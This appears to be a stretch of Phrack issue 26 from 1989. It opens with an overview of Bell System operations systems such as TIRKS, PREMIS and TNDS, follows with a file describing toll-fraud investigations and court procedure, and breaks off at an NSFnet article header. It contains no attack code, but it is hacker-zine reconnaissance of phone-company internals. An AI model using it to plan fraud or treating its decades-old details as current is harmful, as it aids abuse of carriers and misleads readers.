Daily circuit provisioning is processing orders to satisfy customer needs for special service circuits and processing orders initiated for message trunks and carrier systems for the PSTN. The process begins at various operations centers and ends up at the CPCs (Circuit Provision Centers) which track orders, design circuits, and assign the components using TIRKS. It also prepares work packages and distributes them to technicians working in the field who implement them.

Current planning determines the equipment and facility requirements for future new circuits. It apportions forecasts for circuits among the circuit designs planned for new circuits.

TIRKS consists of five major interacting component systems: COC (Circuit Order Control system), E1 (Equipment system), F1 (Facility system), C1 (Circuit system), and FEPS (Facility and Equipment Planning System).

o COC controls message trunk orders, special‑services orders, and carrier system orders by tracking critical dates throughout the existence of an order as it flows from the source to the CPC and on to the field forces. It provides management with the current status of all circuit orders and provides data to other TIRKS component systems to update the assigned status of equipment, facilities, and circuits as orders are processed.

o C1 is the heart of TIRKS. It automatically determines the types of equipment required for a given circuit, assigns the equipment and facilities needed, determines levels at the various transmission level points on the circuit, specifies the test requirements, and establishes circuit records for the circuits. All records of circuits already installed are kept in C1 for future additions or changes.

o E1 is one of the two major inventory component systems in TIRKS. It contains equipment inventory records, assignment records, and pending equipment orders. The records show the amount of spare equipment that is available and equipment's circuit identification.

o F1 is the other of the major inventory component systems. It contains cable and carrier inventory and assigns records.

o FEPS supports the current planning process which determines the transmission facilities and equipment that will be required for new service. It uses data in E1, F1, and C1 as well as other forecasts to allocate existing inventories efficiently, to determine future facility and equipment requirements, and to update planning designs.

TIRKS uses IBM‑370 compatible hardware and direct‑access storage devices. It provides benefits to the BOCs through improved service to customers, capital and expense savings, and better management control.

PICS (Plug‑in Inventory Control System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

PICS is the mechanized operations system developed for the efficient management of large amounts of equipment inventories. It assists with both inventory and materials management. Inventory managers establish corporate policies for the types of equipment and for equipment utilization, assist engineering organizations in introducing new types of equipment while phasing out older types, and set utilization goals that balance service objectives and carrying charges on spare equipment. Material managers work to achieve utilization goals by acquiring spare equipment for growth and maintenance purposes. They also administer a hierarchy of locations used for storing spare equipment.

PICS/DCPR (PICS with Detailed Continuing Property Records) administers all types of CO equipment. The DCPR portion of PICS/DCPR serves as a detailed investment database supporting accounting records for all types of CO plug‑in and "hardwired" equipment. PICS/DCPR accomplishes its goals of increasing utilization, decreasing manual effort, and providing a detailed supporting record for phone company investment through software, databases, administrative procedures, and workflows.

Two new functional entities are created in the BOC first: PIA (Plug‑In Administration) and the central stock. PIA is the materials manager and is responsible for acquiring equipment, distributing it as needed to field locations, repairing it, and accounting for it. The central stock is a warehouse where spare equipment is consolidated and managed. There are five subsystems in PICS/DCPR:

o Plug‑in inventory subsystem ‑ maintains order, repair, and inventory records for all types of plug‑in equipment.

o Inventory management subsystem ‑ provides the PIA with mechanized processes to assist in various tasks.

o Plug‑in DCPR subsystem ‑ provides processes required to maintain investment records for plug‑in units.

o Hardwired DCPR subsystem ‑ maintains detailed accounting records for hardwired CO equipment.

o Reference file subsystem ‑ provides and maintains reference data used by all other subsystems.

PICS/DCPR runs on IBM‑compatible equipment with the IBM Information Management System database manager. It interfaces with TIRKS as well as a few other circuit‑provisioning systems.

PREMIS (PREMises Information System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

PREMIS provides fast, convenient access to information needed to respond to service requests. It was developed in response to the need for address standardization. It has three mechanized databases: address data, a credit file, and a list of available telephone numbers. It also serves a function to the LAC (Loop Assignment Center), called PREMIS/LAC. PREMIS/LAC is an extension of the address database and provides for the storage of outside plant facility data at each address entry.

PREMIS supports the following service representative tasks:

o Determining the customer's correct address. The address relatedand address‑keyable information is the major feature of PREMIS. If an input request does not contain an accurate or complete address, PREMIS displays information that can be used to query the customer. The address database allows PREMIS to give the full address and information about the geographic area which includes WC (Wire Center), exchange area, tax area, directory group, and the service features available for that area. It also displays existing or previous customer's name and telephone number, modular jacking arrangement at the address, and an indication of whether a connect outside plant loop from the address back to the CO was left in place. If service was discontinued at the site, the reason for disconnect and the date of disconnect are also displayed.

o Negotiating service features. PREMIS indicates the service features that can be sold at that address, providing useful information for discussing these with a customer.

o Negotiating a service date. If it indicates that an outside plant loop back to the CO has been left in place, PREMIS allows for earlier installation as no installer will need to visit the site.

o Checking a customer's credit status. PREMIS maintains a name‑keyable file of customers with outstanding debts to the telephone company. If there is a match in the database, the customer's file is displayed.

o Selecting a telephone number. There is a file in PREMIS listing all available telephone numbers from which service representatives request numbers for a specific address. The available telephone numbers are read from COSMOS (COmputer System for Mainframe OperationS) magnetic tape.

PREMIS/LAC has a feature called DPAC (Dedicated Plant Assignment Card). Records of addresses where outside plant loop facilities are dedicated are organized and accessed by address by the LAC through DPAC. PREMIS is an on‑line interactive system whose prime users are service representatives interacting with customers. It uses the UNIVAC 1100 as its main computer. It has network links to various other computer systems, too, to obtain various pieces of information that are helpful or necessary in efficiently completing service functions.

TNDS (Total Network Data System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

TNDS is actually a large and complex set of coordinated systems which supports a broad range of activities that depend on accurate traffic data. It is more of a concept that incorporates various subsystems as opposed to a single computer system. It consists of both manual procedures and computer systems that provide operating company managers with comprehensive, timely, and accurate network information that helps in analysis of the network. TNDS supports operations centers responsible for administration of the trunking network, network data collection, daily surveillance of the load on the switching network, the utilization of equipment by the switching network, and the design of local and CO switching equipment to meet future service needs. TNDS modules that collect and format traffic data usually have dedicated minicomputers which are at the operating company's Minicomputer Maintenance (Operations) Center (MMOC/MMC). Other modules generate engineering and administrative reports on switching systems and on the trunking network of message trunks that interconnects them. These mostly run on general‑purpose computers. Still others are located in AT&T centers and are accessed by various operating companies for data.

The functions of TNDS are carried out by various computer systems since TNDS itself is just a concept. These subsystems include EADAS, EADAS/NM, TDAS, CU/EQ, LBS, 5XB COER, SPCS COER, ICAN, SONDS, TSS, CU/TK, TFS, and CSAR. The following sections cover these systems briefly.

EADAS (Engineering and Administrative Data Acquisition System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

EADAS is the major data collecting system of TNDS and runs on a dedicated minicomputer at the NDCC (Network Data Collection Center). Each EADAS serves up to fifty switching offices. The 4ESS and No. 4 XBAR both have their own data acquisition systems built into the switch and they feed their data directly to other TNDS component systems that are downstream from EADAS, thereby bypassing the need for EADAS on those switches. EADAS summarizes data collected for processing by downstream TNDS systems and does so in real‑time. EADAS is used by network administrators to determine quality of service and to identify switching problems. It also makes additional real‑time information available to these administrators by providing traffic data history that covers up to 48 hours. This data history is flexible through the module NORGEN (Network Operations Report GENerator) so that administrators can tailor their requests for information to determine specifics. Information from EADAS is forwarded to other downstream systems in TNDS via data links or magnetic tape.

EADAS/NM (EADAS/Network Management)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

EADAS/NM is one of the three TNDS systems that EADAS forwards traffic data downstream to either by data links or magnetic tape. EADAS/NM uses data directly from EADAS as well as receiving data from those switching systems which do not interface with EADAS previously mentioned. It monitors switching systems and trunk groups designated by network managers and reports existing or anticipated congestion on a display board at local and regional NMCs (Network Management Centers). It is used to analyze problems in near real‑time to determine their location and causes. EADAS/NM provides information that requires national coordination to the AT&T Long Lines NOC (Network Operations Center) in Bedminster, NJ which uses it's NOCS (NOC System) to perform EADAS/NM‑like functions on a national scale. Like EADAS, EADAS/NM uses dedicated minicomputers to provide interactive real‑time response and control.

TDAS (Traffic Data Administration System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The second of three TNDS systems that is downstream from EADAS is TDAS which formats the traffic data for use by most of the other downstream systems. It accepts data from EADAS, local vendor systems, and large toll switching systems on a weekly basis as magnetic tape. It functions basically as a warehouse and distribution facility for the traffic data and runs a batch system at the computation center. Correct association between recorded traffic data and the switching or trunking elements is the result of shared information between TDAS and CU/EQ. Data processed through TDAS is matched against that stored in CU/EQ. The data is summarized weekly on magnetic tape or printout and is sent for use in preparation of an engineering or administrative report.

CU/EQ (Common Update/EQuipment)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

CU/EQ is a master database which stores traffic measurements taken by TDAS and it shares information with TDAS, ICAN and LBS. As said before, correct association between recorded traffic data and the switching or trunking elements is due to the shared information between CU/EQ and TDAS. It runs as a batch system in the same computer as TDAS and is regularly updated with batch transactions to keep it current with changes in the physical arrangement of CO switching machines which ensures that recorded measurements are treated consistently in each of the reporting systems that use CU/EQ records.

ICAN (Individual Circuit ANalysis)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The final of the three systems downstream from EADAS is ICAN, which also uses data directly from EADAS but uses CU/EQ for reference information. It is a CO reporting system which detects electromechanical switching system faults by identifying abnormal load patterns on individual circuits within a circuit group. ICAN produces a series of reports used by the NAC (Network Administration Center) to analyze the individual circuits and to verify that such circuits are being correctly associated with their respective groups.

LBS (Load Balance System)

%%%%%%%%%%%%%%%%%%%%%%%%%

LBS is a batch‑executed system that helps assure the network administrator that traffic loads in each switching system are uniformly distributed. It analyzes the traffic data to establish traffic loads on each line group of the switching system. The NAC uses the resulting reports to determine the lightly loaded line groups to which new subscriber lines can be assigned. LBS also calculates load balance indices for each system and aggregates the results for the entire BOC.

5XB COER (No. 5 Crossbar Central Office Equipment Reports)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The 5XB COER provides information on common‑control switching equipment operation for different types of switching systems. It is a batch‑executed system that runs on a BOC mainframe that analyzes traffic data to determine how heavily various switching system components are used and measures certain service parameters. It calculates capacity for the No. 5 Crossbar. Network administrators use 5XB COER reports to monitor day‑to‑day switching performance, diagnose potential switching malfunctions, and help predict future service needs. Traffic engineers rely on reports to assess switching office capacity and to forecast equipment requirements. It produces busy hour and busy season reports so service and traffic load measurements can be most useful in predictions.

SPCS COER (Stored‑Program Control Systems Central Office Equipment Reports)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The SPCS COER is basically the same as the 5XB COER as it too monitors switching system service and measures utilization in the same manners as mentioned above. The essential differences between the 5XB COER and the SPCS COER are that the latter calculates capacity for 1ESS, 2ESS, and 3ESS switching offices as opposed to the No. 5 Crossbar switch and SPCS COER is an interactive system that runs on a centralized AT&T mainframe computer.

SONDS (Small Office Network Data System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

SONDS collects its own data from small step‑by‑step offices independently of EADAS and TDAS. It performs a full range of data manipulation functions and provides a number of TNDS features economically for smaller electromechanical step‑by‑step offices. The data collected is directly from the offices being measured. It processes the data and automatically distributes weekly, monthly, exception, and on‑demand reports to managers at the NACs via dial‑up terminals. SONDS runs on an interactive basis at a centralized AT&T mainframe computer.

CU/TK (Common Update/TrunKing)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

CU/TK is a database system that contains the trunking network information and as well as other information required by TSS (Trunking Servicing System) and TFS (Trunk Forecasting System). The CU/TK is regularly updated by CAC (Circuit Administration Center) by personnel to keep it current with changes in the physical arrangements of trunks and switching machines in the CO. For correct trunking and switching configuration in the processing by TSS and TFS, this updating process, which includes maintaining office growth information and a "common‑language" circuit identification of all circuits for individual switching machines, ensures that traffic data provided by TDAS will be correctly associated.

TSS (Trunk Servicing System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%

TSS helps trunk administrators develop short‑term plans and determine the number of circuits required in a trunk group. Data from TDAS is processed in TSS and the offered load for each trunk group is computed. Through offered load calculation on a per‑trunk‑group basis, TSS calculates the number of trunks theoretically required to handle that traffic load at a designated grade of service. TSS produces weekly reports showing which trunk groups have too many trunks and which have too few that are performing below the grade‑of‑service objective. Trunk orders to add or disconnect trunks are made by the CAC after they use the information provided through TSS.

TFS (Trunk Forecasting System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

TFS uses traffic load data computed by TSS as well as information on the network configuration and forecasting parameters stored in the CU/TK database for long‑term construction planning for new trunks. TFS forecasts message trunk requirements for the next five years as the fundamental input to the planning process that leads to the provisioning of additional facilities.

CSAR (Centralized System for Analysis and Reporting)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

CSAR is designed to monitor and measure how well data is being processed through TNDS. It collects and analyzes data from other TNDS systems and provides operating company personnel at NDCCs, NACs, and CACs with quantitative measures of the accuracy, timeliness, and completeness of the TNDS data flow as well as the consistency of the TNDS record bases. CSAR also presents enough information to locate and identify a data collection problem. CSAR summarizes the results of its TNDS monitoring for the company as input to the TPMP (TNDS Performance Measurement Plan) which is published monthly by AT&T. CSAR runs as a centralized on‑line interactive system at an AT&T computer center. Its data is placed into special files, which, at the end of a CSAR run, are merged and transferred to the AT&T computer center. CSAR performs the proper associations and analyzes each system's results. These results are obtained by company managers via dial‑up and they can be arranged in a number of formats that provide details on overall TNDS performance or individual system effectiveness. Specific problems can also be identified through these reports.

The following is a diagram of data flow among TNDS systems:

*Trunk Network Reporting Systems*

|‑> TSS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> TFS

* Data*| ^ ^

*Acquisition*| %_______ _______/

* Systems*| %‑CU/TK‑/

_________ |

| |‑‑>EADAS |

|Switching| Alt. |

|Systems | Systems| * Central Office *

|_________|% | / *Reporting Systems* *System Performance *

| % %‑>TDAS‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ *Measurement Systems*

| % | %_______ | |

| % EADAS | LBS 5XB SPCS .............CSAR

| % | | / COER COER .

| EADAS/NM CU/EQ‑< .

| %

| ICAN SONDS .

|

|_________________________________Selected data from

other TNDS Systems

SCCS (Switching Control Center System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

The Switching Control Center (SCC) was created to centralize the administration, maintenance, and control of the 1ESS switching system. By using the remote‑interaction interfacing of the MCC (Master Control Center), which is a frame of equipment in a 1ESS system that indicates the current state of the office equipment, the SCC functions as the centralized maintenance center for the switch.

At the SCC, a minicomputer system called the CSS (Computer Sub‑System) is added and along with the equipment units that remote the MCC, it makes up the SCCS. The CSS can support a number of SCCs. Generally, the CSS is located in the MMOC. Basically, a number of switches are handled by each SCC and the various SCCs are handled by the CSS.

The SCCS contains maintenance and administrative data that is sent directly from the switches. Through the SCCS, a technician can remotely operate the MCC keys on the switches hooked up to it as well as perform any available command or task supported by the switch. The SCCS can handle up to 30 or more offices although usually only 15 or so are handled per SCC. This number depends also on the size of the offices and the amount of data that is transmitted.

Major alarms that sound at a switching office set off alarms at the SCC within seconds and it also causes an update of the status of the office on the critical indicator panel and it displays a specific description of the alarm condition on a CRT alarm monitor at a workstation. Software enhancements to the SCCS fall into four broad classes:

o Enhanced Alarming ‑ Besides alarms sounding, incoming data can generate failure descriptions for easy interpretation and real‑time analysis techniques.

o Interaction with Message History ‑ Using past information on a switch's troubles, the SCCS allows pertinent information on a specific switch to be provided in case of an alarm.

o Mechanization of Craft Functions ‑ Certain conditions no longer need to be looked into directly. If an alarm goes off, the SCCS can perform routine tests and fix the problem as best it can or else, if that doesn't work, a trouble ticket is issued.

o Support for Switch Administration ‑ Through the SCCS, data can be sent automatically to different operations centers as well as other operations systems which require data from the switches.

Since the original SCCS came into operation, many changes have taken place. The current SCCS supports all of the entire ESS family of switches as well as network transmission equipment and it also can maintain several auxiliary processor systems, like TSPS (Traffic Service Position System) and AIS (Automatic Intercept System), and supports network transmission equipment.

COEES (Central Office Equipment Engineering System)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

COEES is a time‑sharing system that runs on a DEC PDP‑10. It is the standard system for planning and engineering local switching equipment. COEES contains component systems for Step‑By‑Step, Crossbar, 1/1AESS, and 2/2BESS switching systems, each of which has a different capability. The COEES database stores information obtained from forecasts for each local switching office on number of lines of all types, number of trunks of all types, average call rate per line and trunk, average usage per line and trunk, and all features, signaling types, etc. that are required. COEES determines the quantity of each type of equipment in the office needed to satisfy the forecasted load at objective service levels, determines an estimated price for engineering, procuring, and installing the equipment addition needed to reach the require level, and then it sums up the costs of doing it eight different ways for the network designer to review. The system also takes into account varying parameters like call rate or proportion of lines with certain features which is called sensitivity analysis.

With the information provided by the COEES forecast, the designer can then make a recommendation. After a decision is made on the recommendation, COEES prints out an order so that the additional equipment can more quickly and easily be obtained.

COEES also puts out a report called call store on a 1ESS, which tells the engineer and the equipment supplier how much memory to allocate to different functions in the switch depending on inputs that the engineer provides to the system.

MATFAP (Metropolitan Area Transmission Facility Analysis Program)

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

MATFAP is a computer program that aids in facility planning. It analyzes the alternatives available to the operating company for its future transmission equipment and facilities using present worth of future expenses and other measures.

By combining trunk and special‑service circuit forecasts with switching plans, network configuration, cost data, and engineering rules, MATFAP can identify what transmission plant will be needed at various locations and when it will be needed. It also determines economic consequences of specific facility and/or equipment selections as well as routing choices and it provides the least‑cost assignment of circuits to each facility as a guide to the circuit‑provisioning process. It is oriented towards metropolitan networks and facilities/equipment found in those regions.

MATFAP provides two benefits. It helps automate the transmissionplanning process and it takes into account economies that cannot be identified by restricted analysis. It also balances circuit loads on high‑capacity digital lines with additional multiplex equipment. Data from MATFAP is edited through RDES (Remote Data Entry System).

Various Operating Systems

%%%%%%%%%%%%%%%%%%%%%%%%%

The following is a list of other operating systems used by the Bell System with brief descriptions:

ATRS (Automated Trouble Reporting System) ‑ aids in the analysis of trouble %%%% reports by sorting, formatting, forwarding, and examining them from the entire country for standard errors

BOSS (Billing and Order Support System) ‑ allows access to customer records, %%%% CN/A, bill adjustments, and information routing

CAROT (Centralized Automatic Reporting On Trunks) ‑ operations system that %%%%% tests a trunk on electromechanical and electronic switching systems and sends its findings to a remote computer terminal CATLAS (Centralized Automatic Trouble Locating and Analysis System) ‑ an %%%%%% operations system that automates trouble location procedures that identify faulty circuit packs in a switch when trouble is detected and diagnosed

CMDS (Centralized Message Data System) ‑ analyzes the AMA tapes to determine %%%% traffic patterns

COSMOS (COmputer System for Mainframe OperationS) ‑ stores the full inventory %%%%%% of telephone numbers

CRIS (Customer Records Information System) ‑ contains the customer billing %%%% database

CRS (Centralized Results System) ‑ a management information system that %%% automates the collection, analysis, and publication of many measurement results

CUCRIT (Capital Utilization CRITeria) ‑ used mainly for project economic %%%%%% evaluation and capital budgeting and planning

DACS (Digital Access Cross‑connect System) ‑ remote digital access for testing %%%% of special‑service circuits in analog or digital form EFRAP (Exchange Feeder Route Analysis Program) ‑ used in planning of the loop %%%%% network

IFRPS (Intercity Facility Relief Planning System) ‑ also like MATFAP but deals %%%%% with radio and coaxial cable as opposed to voice‑frequency facilities IPLAN (Integrated PLanning And Analysis system) ‑ used mainly for project %%%%% economic evaluation

LMOS (Loop Maintenance Operations System) ‑ maintenance outages on loops %%%% remotely by a service employee

LRAP (Long Route Analysis Program) ‑ like EFRAP, used in planning of the loop %%%% network

LSRP (Local Switching Replacement Planning system) ‑ a system used in the %%%% planning of wire centers

NOTIS (Network Operations Trouble Information System) ‑ aids in the analysis %%%%% of trouble reports

NSCS (Network Service Center System) ‑ at the NSC, aids in the analysis of %%%% trouble reports

OFNPS (Outstate Facility Network Planning System) ‑ similar to MATFAP but %%%%% contains a decision aid that identifies strategies for the introduction of digital facilities in a predominantly analog network; rural transmission facility network planning

RDES (Remote Data Entry System) ‑ allows for remote editing of on‑line %%%% computer data

RMAS (Remote Memory Administration System) ‑ changes translations in the %%%% switching systems

SARTS (Switched Access Remote Test System) ‑ accessed to perform sophisticated %%%%% tests on most types of special‑service circuits

SMAS (Switched Maintenance Access System) ‑ through the use of relays, %%%% provides concentrated metallic access to individual circuits to permit remote access and testing by SARTS

TASC (Telecommunications Alarm Surveillance and Control System) ‑ an alarm %%%% program that identifies the station and transmits it back to the central maintenance location

TCAS (T‑Carrier Administration System) ‑ an operations system responsible for %%%% T‑carrier alarms

TCSP (Tandem Cross Section Program) ‑ a program for analysis of traffic %%%% network planning

TFLAP (T‑carrier Fault‑Locating Application Program) ‑ a subprogram of %%%%% Universal Cable Circuit Analysis Program which analyzes networks with branches, multiple terminations and bridge taps

Acronym Glossary

%%%%%%%%%%%%%%%%

AIS Automatic Intercept System

AMA Automatic Message Accounting

ATRS Automated Trouble Reporting System

BOSS Billing and Order Support System

C1 Circuit system

CAC Circuit Administration Center

CAROT Centralized Automatic Reporting On Trunks

CATLAS Centralized Automatic Trouble Locating and Analysis System CMDS Centralized Message Data System

CPC Circuit Provision Center

CO Central Office

COC Circuit Order Control

COEES Central Office Equipment Engineering System

COSMOS COmputer System for Mainframe OperationS

CRIS Customer Records Information System

CRS Centralized Results System

CRT Cathode‑Ray Tube

CSAR Centralized System for Analysis and Reporting

CSS Computer SubSystem

CUCRIT Capital Utilization CRITeria

CU/EQ Common Update/EQuipment system

CU/TK Common Update/TrunKing system

DACS Digital Access and Cross‑connect System

DPAC Dedicated Plant Assignment Card

E1 Equipment system

EADAS Engineering and Administrative Data Acquisition System EADAS/NM EADAS/Network Management

EFRAP Exchange Feeder Route Analysis Program

ESS Electronic Switching System

F1 Facility system

FEPS Facility and Equipment Planning System

5XB COER No. 5 Crossbar Central Office Equipment Report system ICAN Individual Circuit ANalysis

IFRPS Intercity Facility Relief Planning System

IPLAN Integrated PLanning and ANalysis

LAC Loop Assignment Center

LBS Load Balance System

LMOS Loop Maintenance Operations System

LRAP Long Route Analysis Program

LSRP Local Switching Replacement Planning system

MATFAP Metropolitan Area Transmission Facility Analysis Program MCC Master Control Center

MMC Minicomputer Maintenance Center

MMOC Minicomputer Maintenance Operations Center

NAC Network Administration Center

NDCC Network Data Collection Center

NMC Network Management Center

NOC Network Operations Center

NOCS Network Operations Center System

NORGEN Network Operations Report GENerator

NOTIS Network Operations Trouble Information System

NSCS Network Service Center System

OFNPS Outstate Facility Network Planning System

PIA Plug‑In Administrator

PICS Plug‑in Inventory Control System

PICS/DCPR PICS/Detailed Continuing Property Records

PREMIS PREMises Information System

PSTN Public Switched Telephone Network

RDES Remote Data Entry System

RMAS Remote Memory Administration Center

SARTS Switched Access Remote Test System

SCC Switching Control Center

SCCS Switching Control Center System

SMAS Switched Maintenance Access System

SONDS Small Office Network Data System

SPCS COER Stored‑Program Control System/Central Office Equipment Report TASC Telecommunications Alarm Surveillance and Control system TCAS T‑Carrier Administration System

TCSP Tandem Cross Section Program

TDAS Traffic Data Administration System

TFLAP T‑Carrier Fault‑Locating Applications Program

TFS Trunk Forecasting System

TIRKS Trunks Integrated Records Keeping System

TNDS Total Network Data System

TPMP TNDS Performance Measurement Plan

TSPS Traffic Service Position System

TSS Trunk Servicing System

WC Wire Center

________________________________________

Recommended reference:

Bell System Technical Journals

Engineering and Operations in the Bell System

Phrack IX LMOS file by Phantom Phreaker

Phrack XII TNDS file by Doom Prophet

Various COSMOS files by LOD/H, KOTRT, etc.

Completed 3/17/89

Getting Caught

==Phrack Inc.==

Volume Three, Issue 26, File 3 of 11

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

‑

= %> The Disk Jockey <% =

‑

= Presents =

‑

= Getting Caught =

‑ ‑ Legal Procedures ‑ ‑

=

‑ March 24, 1989 ‑

=

‑ An Unbiased Look Into The Ways Of Criminal Proceedings ‑

=

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

Preface

%%%%%%%

Through this file, I hope to explain what legal action is followed during an investigation of toll fraud. All of the contained information is based upon actual factual information, and although it differs slightly from state to state, the majority of it is applicable anywhere. There seems to be a lot of misconception as to the actual legal happenings during and after an investigation, so hopefully this will answer some of the too often unasked questions.

Initiation

%%%%%%%%%%

In our particular story, the whole investigation is tipped off from a phone call by someone to the U.S. Sprint security office. The volume of calls of "hackers" calling in on other "hackers" is incredible. It is amazing how when one user is mad at another and seeks some "revenge" of sorts, he calls a security office and advises them that they know of a person who is illegally using said company's long distance services. Usually the person will talk to either a regular customer service representative, or someone from the security office. Typically they will merely say "Hey, a guy named 'Joe' is using your codes that he hacks, and his home phone number is 312‑xxx‑xxxx." Next our security person has to decide if this may indeed be a somewhat legitimate call. If all seems fairly reasonable, they will start their own in‑house investigation. This could mean just doing a CN/A on the phone number in question to see who the phone is registered under, and check to see if this person is a legitimate subscriber to their system.

A call is placed to the person in question's home telco office. Usually they will talk to someone in the security office, or a person whom would carry such a capacity in the area of security. They will usually coordinate an effort to put some type of DNR (Dialed Number Recorder) on the subscriber's telephone line, which will record on an adding machine type of paper all data pertaining to: Numbers dialed, DTMF or pulse modes, any occurrence of 2600hz, codes and other digits dialed, incoming calls including number of rings before answer, time the line was picked up and hung up, etc.

This DNR may sit on the subscriber's phone line from merely a few weeks, to several months.

At some point either the U.S. Sprint security representative or the telco security person will decide that enough time has passed, and that an analysis of the DNR tape is due. The Sprint official may visit the telco site and go over the tapes in person, or they may be sent from the telco to the Sprint office.

After going over the tapes and finding dialups and codes that were used that may possibly be used illegally, Sprint will find the actual owners of the codes in question and verify that the codes were indeed used without any knowledge or permission of the legitimate owner. They will also put together an estimate of "damages," which can include cost of dialup port access, cost of investigation, as well as the actual toll charges incurred from the usage.

The Sprint security representative and the local telco security person will then go to the local police, usually either state or whatever has the real power in that area. They will present the case to the detective or other investigator, display all findings, and provided that the case findings seem pretty plausible, a search warrant will be composed. After the warrant is fully written out (sometimes it is merely a short fill‑in‑the‑blank form) the three people investigating the case (the police detective, the local telco security representative, and the Sprint security investigator) will go in front of a judge and under oath state the evidence and findings that they have as to date contained in a document called a "discovery" which justify the need for a search warrant. Assuming that the findings seem conclusive, the judge will sign the warrant and it will then be active for the time specified on the warrant. Usually they are valid for 24 hours a day, due to the circumstances that more than likely calls were being made at all hours of the day and night. On some agreed date, all the above parties will show up at the suspect's house and execute the search warrant and more than likely collect all the phone and computer equipment and bring it to the state police post for further investigation.

All information and evidence as well as all the reports will then be forwarded to the prosecutor's office to determine what, if any, charges are going to be pursued.

Once charges are finalized through the prosecutor, another discovery document is made, listing all the charges and how those charges were derived. It is then brought in front of the judge again and if approved, warrants will be issued for the individual(s) listed.

The warrants are usually served by sending over one of the local officers to the suspect's house, and he will knock, introduce himself and ask for the individual, and then present the warrant to the individual and take them in to the station.

The individual will be processed, which usually means being photographed and fingerprinted twice (once for the FBI and once for the state records), and then is put into either a holding cell or regular jail. Sometimes the bond is already set before the individual is arrested, but sometimes it is not. If not, it will be at the arraignment. Within 72 hours, the suspect must be arraigned. The arraignment is a time when the formal charges are read to the suspect in front of the judge, bail is set if it has not been already, and the suspect may pick if he wants a jury trial or a trial by judge. This, of course, assumes that the suspect is going to plead not guilty, which is the best thing to do in most cases of somewhat major capacity. Further court dates are also set at this time. If the suspect is unable to afford to retain an attorney, the court will assign a court appointed lawyer at this time.

After the arraignment, the suspect is either allowed to post bail, or is returned to the jail to await the next court date. His next court date, which is the omnibus, is usually slated for about a month away. If the set bail seems unreasonably high, your attorney can file for a "bond reduction." You will go in front of the judge and your lawyer will argue as to why your bond should be reduced, and how you have a stable life and responsibilities and would not try to skip bail. The prosecutor will argue as to why your bail should not be dropped.

At the omnibus hearing, also known as a "fact‑finding" hearing (or in some states, this is known as the "preliminary hearing."‑‑Ed.) the suspect is again brought in front of a judge, along with his own attorney, and the prosecuting attorney. At this time the state (meaning the prosecutor) will reveal evidence against the suspect, and the judge will decide if the evidence is enough to hold the suspect in jail or to continue the case to trial. Nearly always there is enough, as warrants would not be issued if there was not, since the state could be opening themselves up to a false arrest suit if they were wrong. From here a "pre‑trial" date is slated, again usually about a month down the road. The pre‑trial is the last chance for the suspect to change his mind and enter a guilty plea, or to continue to trial. It is also the last point in which the prosecutor will offer the suspect any type of plea‑bargain, meaning that the suspect enters a guilty plea in exchange for an agreed upon set of reduced charges or sentencing. Assuming the suspect still wishes to enter a plea of "not‑guilty," the date for jury selection will be slated. During the jury selection, your lawyer and you as well as the prosecutor will get to meet as many prospective jury members as you wish, and you can each ask them questions and either accept or reject them based on if you think that they would be fair towards you. This eliminates most possibilities of any jury members that are biases before they every sit down to hear your case. After the prosecutor and your attorney agree on the members, your trial date is set, usually about a week later.

At trial, the prosecutor will present the case to the jury, starting with questioning detectives and investigators on how the case was first discovered and how things lead to you, and in each instance, your attorney will be able to "cross‑examine" each witness and ask questions of their own, hopefully making the jury questionable as to the validity of everything that is said. After that, your attorney is allowed to call witnesses and the prosecutor will be allowed to ask questions as well. By rights you do not have to go to the stand if you do not want to, as you have the right to not incriminate yourself. After all is said and done, the prosecutor will get to state his "closing arguments," a basic summary of all that was presented and why you should be considered guilty, and your lawyer will give his arguments to the jury, as to why you should not be judged guilty.

The jury will go into deliberation, which can last a few minutes, or several days. They must all vote and decide if you should be judged guilty or not guilty. After the deliberation, court is called back in and the jury will announce the results.

If it is decided that you are guilty, you normally have about 10 days to file an appeal, which would have your case sent to a higher court. Otherwise your date for sentencing will be set, again usually about a month away. At the sentencing, your lawyer will argue why you should be let off easy, and the prosecutor will argue why you should be given a hard sentence. The judge will come to a decision based on the arguments and then make a decision on your sentence. You will then be released to the agency that you are assigned to, be it the probation department, the prison system, or the county jail.

I hope this file gives you a more clear view on what happens in the legal system, in future files I hope to discuss the actual dos and don'ts of the legal system and advise as to what tricks of the trade are used by legal authorities.

Any questions/comments/threats can be directed to me at;

Lunatic Labs 415.278.7421

The Disk Jockey

Written exclusively for Phrack Newsletter, 1989. This document may be used in

NSFnet

==Phrack Inc.==

Volume Three, Issue 26, File 4 of 11

The Future Transcendent Saga continues...

__________________________

| |

| | NSFnet | |

| |

| | National Science Foundation Network | |

| |

| | brought to you by | |

| |

| | Knight Lightning | |

| |

| | April 16, 1989 | |

|_|________________________

NSF Network Links Scientific Community And SuperComputer Centers

